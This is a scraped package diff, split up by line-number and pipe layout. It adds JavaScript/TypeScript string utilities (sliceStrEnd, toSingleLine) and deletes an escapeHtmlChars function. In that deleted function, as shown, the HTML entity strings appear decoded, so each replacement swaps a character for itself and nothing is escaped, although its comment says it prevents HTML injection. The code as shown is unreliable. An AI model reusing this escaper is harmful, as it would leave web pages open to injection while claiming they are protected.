* @property {string} options.str - The string to be intercepted.Allow keyword many times.
|
|
7
|
+
* @property {string} [options.key='#'] - Keywords participating in intercepting.
|
|
8
|
+
* @property {string} [options.type='beforebegin'|'afterbegin'|'beforeend'|'afterend'] - Method of intercepting.The optional values include 'beforebegin','afterbegin','beforeend' and 'afterend'
|
|
9
|
+
* @property {boolean} [options.contain=true] - Whether the output result contains keyword.
|
|
10
|
+
* @returns {string|''} - Return the interception string does not change the original string.
|
|
11
|
+
* @see {@link https://codepen.io/axui/pen/NWoOKEY|demo @ codepen}
|
|
12
|
+
* @example
|
|
13
|
+
* ax.sliceStrEnd({str:'123#321',key:'#'});
|
|
14
|
+
* <!--return interception string -->
|
|
15
|
+
*/
|
|
16
|
+
//简介:使用关键字从字符串中向前或向后截取字符串。
|
|
17
|
+
//参数options:截取参数,是一个对象。
|
|
18
|
+
//参数属性str:将要被截取的字符串。允许key出现多次。
|
|
19
|
+
//参数属性key:截取的关键字。
|
|
20
|
+
//参数属性type:截取类型,可选值包括:'beforebegin','afterbegin','beforeend','afterend'。
|
|
21
|
+
//参数属性contain:输出结果是否包含key,默认true。
|
|
22
|
+
//返回:截取后的字符串,不改变原字符串。
|
|
23
|
+
'use strict';
|
|
24
|
+
const sliceStrEnd = ({ str = '', key = '#', type = 'afterend', contain = true }: { str: string, key?: string, type?: 'beforebegin' | 'afterbegin' | 'beforeend' | 'afterend', contain?: boolean }): string => {
|
|
25
|
+
//str和key先强制转字符串
|
|
26
|
+
str = str.toString();
|
|
27
|
+
key = key.toString();
|
|
28
|
+
let result = '', indexKey = 0, lenKey = key.length, lenEnd = str.length, indexStart = 0;
|
|
29
|
+
//str和key不能为空,否则直接输出空值。允许填入0
|
|
30
|
+
if (!str || !key) {
|
|
31
|
+
return result;
|
|
32
|
+
}
|
|
33
|
+
str = str.trim();
|
|
34
|
+
if (str.includes(key)) {
|
|
35
|
+
if (type === 'beforebegin') {
|
|
36
|
+
indexKey = str.indexOf(key);
|
|
37
|
+
contain ? indexKey += lenKey : null;
|
|
38
|
+
//确认开始和结束
|
|
39
|
+
lenEnd = indexKey;
|
|
40
|
+
} else if (type === 'afterbegin') {
|
|
41
|
+
indexKey = str.indexOf(key);
|
|
42
|
+
!contain ? indexKey += lenKey : null;
|
|
43
|
+
//确认开始和结束
|
|
44
|
+
indexStart = indexKey;
|
|
45
|
+
} else if (type === 'beforeend') {
|
|
46
|
+
indexKey = str.lastIndexOf(key);
|
|
47
|
+
contain ? indexKey += lenKey : null;
|
|
48
|
+
//确认开始和结束
|
|
49
|
+
lenEnd = indexKey;
|
|
50
|
+
} else if (type === 'afterend') {
|
|
51
|
+
indexKey = str.lastIndexOf(key);
|
|
52
|
+
!contain ? indexKey += lenKey : null;
|
|
53
|
+
//确认开始和结束
|
|
54
|
+
indexStart = indexKey;
|
|
55
|
+
}
|
|
56
|
+
result = str.substring(indexStart, lenEnd);
|
|
57
|
+
}
|
|
58
|
+
return result;
|
|
59
|
+
}
|
|
60
|
+
export default sliceStrEnd;
|
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @since Last modified: 2026/01/16 11:38:24
|
|
3
|
+
* Collapses a multi-line string into a single-line string.
|
|
4
|
+
*/
|
|
5
|
+
const toSingleLine = (str, collapseSpaces = false) => {
|
|
6
|
+
const result = str.replace(/[\r\t\n]/g, '');
|
|
7
|
+
return collapseSpaces ? result.replace(/\s+/g, ' ') : result;
|
|
8
|
+
};
|
|
9
|
+
export default toSingleLine;
|
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @since Last modified: 2026/01/16 11:38:24
|
|
3
|
+
* Collapses a multi-line string into a single-line string.
|
|
4
|
+
*/
|
|
5
|
+
const toSingleLine = (str: string, collapseSpaces: boolean = false): string => {
|
|
6
|
+
const result = str.replace(/[\r\t\n]/g, '');
|
|
7
|
+
return collapseSpaces ? result.replace(/\s+/g, ' ') : result;
|
|
8
|
+
};
|
|
9
|
+
export default toSingleLine;
|
|
@@ -1,28 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* @since Last modified: 2026/01/15 18:52:06
|
|
3
|
-
* This function escapes special HTML characters in a string, converting them to their corresponding HTML entities.
|
|
4
|
-
* It handles the following characters:
|
|
5
|
-
* - '&' -> '&'
|
|
6
|
-
* - '<' -> '<'
|
|
7
|
-
* - '>' -> '>'
|
|
8
|
-
* - '"' -> '"'
|
|
9
|
-
* - "'" -> '''
|
|
10
|
-
*
|
|
11
|
-
* This is commonly used to prevent HTML injection and ensure that text is displayed correctly in web pages.
|
|
12
|
-
*
|
|
13
|
-
* @param {string} text - The string that needs to be escaped.
|
|
14
|
-
* @returns {string} - A new string with special HTML characters replaced by their respective HTML entities.
|
|
15
|
-
*/
|
|
16
|
-
const escapeHtmlChars = (text) => {
|
|
17
|
-
// Check if the input text is empty or undefined
|
|
18
|
-
if (!text)
|
|
19
|
-
return '';
|
|
20
|
-
// Replace the special characters with their corresponding HTML entities
|
|
21
|
-
return text
|
|
22
|
-
.replace(/&/g, '&') // Replace '&' with '&'
|
|
23
|
-
.replace(/</g, '<') // Replace '<' with '<'
|
|
24
|
-
.replace(/>/g, '>') // Replace '>' with '>'
|
|
25
|
-
.replace(/"/g, '"') // Replace '"' with '"'
|
|
26
|
-
.replace(/'/g, '''); // Replace "'" with '''
|
|
27
|
-
};
|
|
28
|
-
export default escapeHtmlChars;
|
package/src/escapeHtmlChars.js
DELETED
|
@@ -1,28 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* @since Last modified: 2026/01/15 18:52:06
|
|
3
|
-
* This function escapes special HTML characters in a string, converting them to their corresponding HTML entities.
|
|
4
|
-
* It handles the following characters:
|
|
5
|
-
* - '&' -> '&'
|
|
6
|
-
* - '<' -> '<'
|
|
7
|
-
* - '>' -> '>'
|
|
8
|
-
* - '"' -> '"'
|
|
9
|
-
* - "'" -> '''
|
|
10
|
-
*
|
|
11
|
-
* This is commonly used to prevent HTML injection and ensure that text is displayed correctly in web pages.
|
|
12
|
-
*
|
|
13
|
-
* @param {string} text - The string that needs to be escaped.
|
|
14
|
-
* @returns {string} - A new string with special HTML characters replaced by their respective HTML entities.
|
|
15
|
-
*/
|
|
16
|
-
const escapeHtmlChars = (text) => {
|
|
17
|
-
// Check if the input text is empty or undefined
|
|
18
|
-
if (!text)
|
|
19
|
-
return '';
|
|
20
|
-
// Replace the special characters with their corresponding HTML entities
|
|
21
|
-
return text
|
|
22
|
-
.replace(/&/g, '&') // Replace '&' with '&'
|
|
23
|
-
.replace(/</g, '<') // Replace '<' with '<'
|
|
24
|
-
.replace(/>/g, '>') // Replace '>' with '>'
|
|
25
|
-
.replace(/"/g, '"') // Replace '"' with '"'
|
|
26
|
-
.replace(/'/g, '''); // Replace "'" with '''
|
|
27
|
-
};
|
|
28
|
-
export default escapeHtmlChars;
|
package/src/escapeHtmlChars.ts
DELETED
|
@@ -1,29 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* @since Last modified: 2026/01/15 18:52:06
|
|
3
|
-
* This function escapes special HTML characters in a string, converting them to their corresponding HTML entities.
|
|
4
|
-
* It handles the following characters:
|
|
5
|
-
* - '&' -> '&'
|
|
6
|
-
* - '<' -> '<'
|
|
7
|
-
* - '>' -> '>'
|
|
8
|
-
* - '"' -> '"'
|
|
9
|
-
* - "'" -> '''
|
|
10
|
-
*
|
|
11
|
-
* This is commonly used to prevent HTML injection and ensure that text is displayed correctly in web pages.
|
|
12
|
-
*
|
|
13
|
-
* @param {string} text - The string that needs to be escaped.
|
|
14
|
-
* @returns {string} - A new string with special HTML characters replaced by their respective HTML entities.
|
|
15
|
-
*/
|
|
16
|
-
const escapeHtmlChars = (text: string): string => {
|
|
17
|
-
// Check if the input text is empty or undefined
|
|
18
|
-
if (!text) return '';
|
|
19
|
-
|
|
20
|
-
// Replace the special characters with their corresponding HTML entities
|
|
21
|
-
return text
|
|
22
|
-
.replace(/&/g, '&') // Replace '&' with '&'
|
|
23
|
-
.replace(/</g, '<') // Replace '<' with '<'
|
|
24
|
-
.replace(/>/g, '>') // Replace '>' with '>'
|
|
25
|
-
.replace(/"/g, '"') // Replace '"' with '"'
|
|
26
|
-
.replace(/'/g, '''); // Replace "'" with '''
|
|
27
|
-
}
|
|
28
|
-
|
|
29
|
-
export default escapeHtmlChars;
|